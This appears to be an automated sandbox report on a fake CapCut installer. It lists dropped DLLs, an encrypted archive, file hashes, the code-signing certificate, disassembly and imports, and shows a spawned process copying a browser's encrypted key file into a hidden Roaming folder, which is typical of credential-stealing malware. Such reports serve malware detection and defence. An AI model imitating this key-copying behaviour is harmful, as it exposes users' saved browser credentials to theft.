                                                                                                                                                                                                                                                                        SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                                                        MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                                                        SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                                                        SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                                                        SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vulkan-1.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):928256
                                                                                                                                                                                                                                                                        Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                                                        MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                                                        SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                                                        SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                                                        SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\System.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                                                        Entropy (8bit):5.719859767584478
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
                                                                                                                                                                                                                                                                        MD5:0D7AD4F45DC6F5AA87F606D0331C6901
                                                                                                                                                                                                                                                                        SHA1:48DF0911F0484CBE2A8CDD5362140B63C41EE457
                                                                                                                                                                                                                                                                        SHA-256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
                                                                                                                                                                                                                                                                        SHA-512:C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\app-64.7z

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:7-zip archive data, version 0.4
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):64413227
                                                                                                                                                                                                                                                                        Entropy (8bit):7.9999949348177015
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1572864:fjdd7pMW8B5LomaO6TbYM3zcqjEFjtN47:L7pMWot764y5ATU
                                                                                                                                                                                                                                                                        MD5:565AB10E1B66A8FA09CEE13384386411
                                                                                                                                                                                                                                                                        SHA1:8A733579B6B49104A13FFC91CFFBF503CA6ACDC0
                                                                                                                                                                                                                                                                        SHA-256:8146B0022D13F1CE4CB08241828FAEAC1E91E51E8D5C7467B136125828CEDE6B
                                                                                                                                                                                                                                                                        SHA-512:06C881CB2E45182C3E32607D41D22FFF08211E600568DA21D71AD320273225DDD47ED378D2F7053960B30DFDF8B647B159F24D0022BED0D176240E81142D7E83
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:7z..'...R...........%........T...R..]...6...#k.![y.`.Gr#.f..F......./.t..C..8.^..k .....@..........ih..w*.`.c...I...;.R.A`../_.Q:..yn........6...a {.f_.....>..`..Nu.....q/..H...hsIhA.5..... .9.[...L./.(.^.+Vz@.Dt7OZI.z.N...~;].rW..k......s...^<i ...w.`3.}............T.Z.v.m..W8..m...........k..8..w+.8..9N.C......._; ..u.J........i43.d.......`....r."O.E...'.{h....'....$.M.$..Y....&.+.r|T....aF.T.9...&..sh....I..;.qP.Y..........V..^..P.:...D.."..@Cw...%8.h.5....6V/0..]....%7.Z.P..w..J..].....M..^......+..BMZ..&..}.6l..hT..t).?2....1...F..H..+...0.s.}.S.-x;...f.b}....8.R.@.....r.....Ib......$(/^XdI..46G..Q....`......h..H.U......p..[.Sa-Q@G.......h!....Z....2$.^.IqZ...~~CUB..#.nAp5.k..K....O".G.(......N...>`.k.....;.~A.X.e.mzUq.L...o..PH..WxfRH..z..dT!."d.W.4...Tx... ..Y<..1.P.#.W..Z7.f.z.R...u6.......C.+?.....p.d........".<.../h.Y..`u<m.y.u.Lh.Fz...#...F).,..G.~..'..Mx.s:3..V..m..[%.B.V[...V.Id_.~i6..$...H.ywyg.D.lA.`.H..+..X..@H....

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\nsis7z.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):434176
                                                                                                                                                                                                                                                                        Entropy (8bit):6.584811966667578
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
                                                                                                                                                                                                                                                                        MD5:80E44CE4895304C6A3A831310FBF8CD0
                                                                                                                                                                                                                                                                        SHA1:36BD49AE21C460BE5753A904B4501F1ABCA53508
                                                                                                                                                                                                                                                                        SHA-256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
                                                                                                                                                                                                                                                                        SHA-512:C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Roaming\poikfwdnmyoitatx\1b0c6b5d-1d5d-45bf-b963-139b68284150.tmp

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):389
                                                                                                                                                                                                                                                                        Entropy (8bit):5.562718062597013
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6:YKWCRgXt9RdrtybHbxEly7vkO8MAQR31BkSZn6AS7zqUgEqaK2WEgYkzlzeAol25:YKWSg99rrt+SyTSEBks6j7KpEgLkNs5L
                                                                                                                                                                                                                                                                        MD5:E84CF7745D3A6B65C4A683D0C51BC236
                                                                                                                                                                                                                                                                        SHA1:5C989643DB00FDD42840AE717CDAB2ADF1F3ADCE
                                                                                                                                                                                                                                                                        SHA-256:5BB6DBC8551B2958D6229A80F63CE2FBF2122EF6E8830BC3886A2CB561340375
                                                                                                                                                                                                                                                                        SHA-512:1DC48CE8ECFDAFBFCDFC643C761BFE083A95C5C7429464098672830B30BE0AA2289BF25AC79EBBA0D95892A0FA2BFA6F2FA820F0C9280D44D708B4C38E99BADF
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACWCN5iZdinTZitKHohWGlLAAAAAAIAAAAAABBmAAAAAQAAIAAAAGD2DOL6jDI2uvvTMX4irz3arMa+wAUrXXU9JffpoXuWAAAAAA6AAAAAAgAAIAAAAEZPWaRVbCGFeFJNO6ItH8LDT1ljtckBbyQgkBzzN2GhMAAAAAGUOngT7iwgcHuEXgWEdZlpyUGeJWLvSrlu6t2knw7VO7bZgUoSEMgWS4uU9vPjSUAAAABa6TVQvHVultewwAhRfKHyi7tqdFodvVgh/ZaovkIMFAButSypdwDetuKNBe1Kgt7JSeYAfyE5Yj0XQ1B7JWVh"}}

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Roaming\poikfwdnmyoitatx\Local State (copy)

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):389
                                                                                                                                                                                                                                                                        Entropy (8bit):5.562718062597013
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6:YKWCRgXt9RdrtybHbxEly7vkO8MAQR31BkSZn6AS7zqUgEqaK2WEgYkzlzeAol25:YKWSg99rrt+SyTSEBks6j7KpEgLkNs5L
                                                                                                                                                                                                                                                                        MD5:E84CF7745D3A6B65C4A683D0C51BC236
                                                                                                                                                                                                                                                                        SHA1:5C989643DB00FDD42840AE717CDAB2ADF1F3ADCE
                                                                                                                                                                                                                                                                        SHA-256:5BB6DBC8551B2958D6229A80F63CE2FBF2122EF6E8830BC3886A2CB561340375
                                                                                                                                                                                                                                                                        SHA-512:1DC48CE8ECFDAFBFCDFC643C761BFE083A95C5C7429464098672830B30BE0AA2289BF25AC79EBBA0D95892A0FA2BFA6F2FA820F0C9280D44D708B4C38E99BADF
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACWCN5iZdinTZitKHohWGlLAAAAAAIAAAAAABBmAAAAAQAAIAAAAGD2DOL6jDI2uvvTMX4irz3arMa+wAUrXXU9JffpoXuWAAAAAA6AAAAAAgAAIAAAAEZPWaRVbCGFeFJNO6ItH8LDT1ljtckBbyQgkBzzN2GhMAAAAAGUOngT7iwgcHuEXgWEdZlpyUGeJWLvSrlu6t2knw7VO7bZgUoSEMgWS4uU9vPjSUAAAABa6TVQvHVultewwAhRfKHyi7tqdFodvVgh/ZaovkIMFAButSypdwDetuKNBe1Kgt7JSeYAfyE5Yj0XQ1B7JWVh"}}

                                                                                                                                                                                                                                                                        Static File Info

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                                                                                                                        Entropy (8bit):7.999986248615357
                                                                                                                                                                                                                                                                        TrID:
                                                                                                                                                                                                                                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                                        File name:CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File size:64'795'304 bytes
                                                                                                                                                                                                                                                                        MD5:8a671a1eea06778b362ba71f6ba06814
                                                                                                                                                                                                                                                                        SHA1:18e6e016a7f3f463b73f1a5bb5209b48f6d24ed9
                                                                                                                                                                                                                                                                        SHA256:3a571ea16c1d311ca9b2c914a85726a8cd0bb4f7b0b64d8c1692df59468907ce
                                                                                                                                                                                                                                                                        SHA512:2e7acdf1a3e94ba16379e345fead2102256e0b79db74bf72ac1b2149233d6312fe4cff255261dd2406ee2b30c190a8b6f2c8b98d42b22f9f5317c414a7b5c51f
                                                                                                                                                                                                                                                                        SSDEEP:1572864:zjdd7pMW8B5LomaO6TbYM3zcqjEFjtN49c:n7pMWot764y5ATSc
                                                                                                                                                                                                                                                                        TLSH:B8E73388C10FD48BDA44F9705449FAE5E47EC2E933C519E901E68B1A77FD609CEC6A2C
                                                                                                                                                                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

                                                                                                                                                                                                                                                                        File Icon

                                                                                                                                                                                                                                                                        Icon Hash:adaeb397f36b6331

                                                                                                                                                                                                                                                                        Static PE Info

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Entrypoint:0x40338f
                                                                                                                                                                                                                                                                        Entrypoint Section:.text
                                                                                                                                                                                                                                                                        Digitally signed:true
                                                                                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                                                                                        Subsystem:windows gui
                                                                                                                                                                                                                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                                                                                                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                                        Time Stamp:0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
                                                                                                                                                                                                                                                                        TLS Callbacks:
                                                                                                                                                                                                                                                                        CLR (.Net) Version:
                                                                                                                                                                                                                                                                        OS Version Major:4
                                                                                                                                                                                                                                                                        OS Version Minor:0
                                                                                                                                                                                                                                                                        File Version Major:4
                                                                                                                                                                                                                                                                        File Version Minor:0
                                                                                                                                                                                                                                                                        Subsystem Version Major:4
                                                                                                                                                                                                                                                                        Subsystem Version Minor:0
                                                                                                                                                                                                                                                                        Import Hash:b34f154ec913d2d2c435cbd644e91687

                                                                                                                                                                                                                                                                        Authenticode Signature

                                                                                                                                                                                                                                                                        Signature Valid:true
                                                                                                                                                                                                                                                                        Signature Issuer:CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
                                                                                                                                                                                                                                                                        Signature Validation Error:The operation completed successfully
                                                                                                                                                                                                                                                                        Error Number:0
                                                                                                                                                                                                                                                                        Not Before, Not After
                                                                                                                                                                                                                                                                        • 08/11/2024 19:44:26 08/11/2025 12:39:50
                                                                                                                                                                                                                                                                        Subject Chain
                                                                                                                                                                                                                                                                        • OID.1.3.6.1.4.1.311.60.2.1.3=VN, OID.2.5.4.15=Private Organization, CN=ETC XD TM DV JOINT STOCK COMPANY, SERIALNUMBER=0317361975, O=ETC XD TM DV JOINT STOCK COMPANY, L=Th\u1ee7 \u0110\u1ee9c, S=H\u1ed3 Ch\xed Minh City, C=VN
                                                                                                                                                                                                                                                                        Version:3
                                                                                                                                                                                                                                                                        Thumbprint MD5:FA3987976C1B0EED64E2B8591608C6F0
                                                                                                                                                                                                                                                                        Thumbprint SHA-1:47C8D25B1588303318BBB57ADD579875A4C987DF
                                                                                                                                                                                                                                                                        Thumbprint SHA-256:4771DEBD24EDD0D10634BF5F40D5662DE6270075F3CE2CA7827523B35A2D82C4
                                                                                                                                                                                                                                                                        Serial:57E3731944D81CDFEC16096B86556F3A

                                                                                                                                                                                                                                                                        Entrypoint Preview

                                                                                                                                                                                                                                                                        Instruction
                                                                                                                                                                                                                                                                        sub esp, 000002D4h
                                                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                                                        push esi
                                                                                                                                                                                                                                                                        push edi
                                                                                                                                                                                                                                                                        push 00000020h
                                                                                                                                                                                                                                                                        pop edi
                                                                                                                                                                                                                                                                        xor ebx, ebx
                                                                                                                                                                                                                                                                        push 00008001h
                                                                                                                                                                                                                                                                        mov dword ptr [esp+14h], ebx
                                                                                                                                                                                                                                                                        mov dword ptr [esp+10h], 0040A2E0h
                                                                                                                                                                                                                                                                        mov dword ptr [esp+1Ch], ebx
                                                                                                                                                                                                                                                                        call dword ptr [004080A8h]
                                                                                                                                                                                                                                                                        call dword ptr [004080A4h]
                                                                                                                                                                                                                                                                        and eax, BFFFFFFFh
                                                                                                                                                                                                                                                                        cmp ax, 00000006h
                                                                                                                                                                                                                                                                        mov dword ptr [0047AEECh], eax
                                                                                                                                                                                                                                                                        je 00007F1D10AFAF43h
                                                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                                                        call 00007F1D10AFE1F5h
                                                                                                                                                                                                                                                                        cmp eax, ebx
                                                                                                                                                                                                                                                                        je 00007F1D10AFAF39h
                                                                                                                                                                                                                                                                        push 00000C00h
                                                                                                                                                                                                                                                                        call eax
                                                                                                                                                                                                                                                                        mov esi, 004082B0h
                                                                                                                                                                                                                                                                        push esi
                                                                                                                                                                                                                                                                        call 00007F1D10AFE16Fh
                                                                                                                                                                                                                                                                        push esi
                                                                                                                                                                                                                                                                        call dword ptr [00408150h]
                                                                                                                                                                                                                                                                        lea esi, dword ptr [esi+eax+01h]
                                                                                                                                                                                                                                                                        cmp byte ptr [esi], 00000000h
                                                                                                                                                                                                                                                                        jne 00007F1D10AFAF1Ch
                                                                                                                                                                                                                                                                        push 0000000Ah
                                                                                                                                                                                                                                                                        call 00007F1D10AFE1C8h
                                                                                                                                                                                                                                                                        push 00000008h
                                                                                                                                                                                                                                                                        call 00007F1D10AFE1C1h
                                                                                                                                                                                                                                                                        push 00000006h
                                                                                                                                                                                                                                                                        mov dword ptr [0047AEE4h], eax
                                                                                                                                                                                                                                                                        call 00007F1D10AFE1B5h
                                                                                                                                                                                                                                                                        cmp eax, ebx
                                                                                                                                                                                                                                                                        je 00007F1D10AFAF41h
                                                                                                                                                                                                                                                                        push 0000001Eh
                                                                                                                                                                                                                                                                        call eax
                                                                                                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                                                                                                        je 00007F1D10AFAF39h
                                                                                                                                                                                                                                                                        or byte ptr [0047AEEFh], 00000040h
                                                                                                                                                                                                                                                                        push ebp
                                                                                                                                                                                                                                                                        call dword ptr [00408044h]
                                                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                                                        call dword ptr [004082A0h]
                                                                                                                                                                                                                                                                        mov dword ptr [0047AFB8h], eax
                                                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                                                        lea eax, dword ptr [esp+34h]
                                                                                                                                                                                                                                                                        push 000002B4h
                                                                                                                                                                                                                                                                        push eax
                                                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                                                        push 00440208h
                                                                                                                                                                                                                                                                        call dword ptr [00408188h]
                                                                                                                                                                                                                                                                        push 0040A2C8h

                                                                                                                                                                                                                                                                        Rich Headers

                                                                                                                                                                                                                                                                        Programming Language:
                                                                                                                                                                                                                                                                        • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                                                                                                                                                                        Data Directories

                                                                                                                                                                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x10b0000x99a0.rsrc
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x3dc94980x1e10
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                                        Sections

                                                                                                                                                                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                                        .text0x10000x66270x68007618d4c0cd8bb67ea9595b4266b3a91fFalse0.6646259014423077data6.450282348506287IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                        .rdata0x80000x14a20x1600eecac1fed9cc6b447d50940d178404d8False0.4405184659090909data5.025178929113415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                        .data0xa0000x70ff80x600db8f31a08a2242d80c29e1f9500c6527False0.5182291666666666data4.037117731448378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                        .ndata0x7b0000x900000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                                        .rsrc0x10b0000x99a00x9a00550d34dc25da7c14bfd706df048a693aFalse0.9606584821428571data7.8459907086398815IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                                                        Resources

                                                                                                                                                                                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                                        RT_ICON0x10b1d80x8f8dPNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9947209447876133
                                                                                                                                                                                                                                                                        RT_DIALOG0x1141680x100dataEnglishUnited States0.5234375
                                                                                                                                                                                                                                                                        RT_DIALOG0x1142680xf8dataEnglishUnited States0.6330645161290323
                                                                                                                                                                                                                                                                        RT_DIALOG0x1143600x60dataEnglishUnited States0.7291666666666666
                                                                                                                                                                                                                                                                        RT_GROUP_ICON0x1143c00x14dataEnglishUnited States1.05
                                                                                                                                                                                                                                                                        RT_VERSION0x1143d80x284dataEnglishUnited States0.4658385093167702
                                                                                                                                                                                                                                                                        RT_MANIFEST0x1146600x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                                                                                                                                                                                                                                        Imports

                                                                                                                                                                                                                                                                        DLLImport
                                                                                                                                                                                                                                                                        KERNEL32.dllSetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
                                                                                                                                                                                                                                                                        USER32.dllGetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
                                                                                                                                                                                                                                                                        GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                                                                                                                                                                                        SHELL32.dllSHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
                                                                                                                                                                                                                                                                        ADVAPI32.dllAdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
                                                                                                                                                                                                                                                                        COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                                                                                                                                                                                        ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                                                                                                                                                                                                                                        Possible Origin

                                                                                                                                                                                                                                                                        Language of compilation systemCountry where language is spokenMap
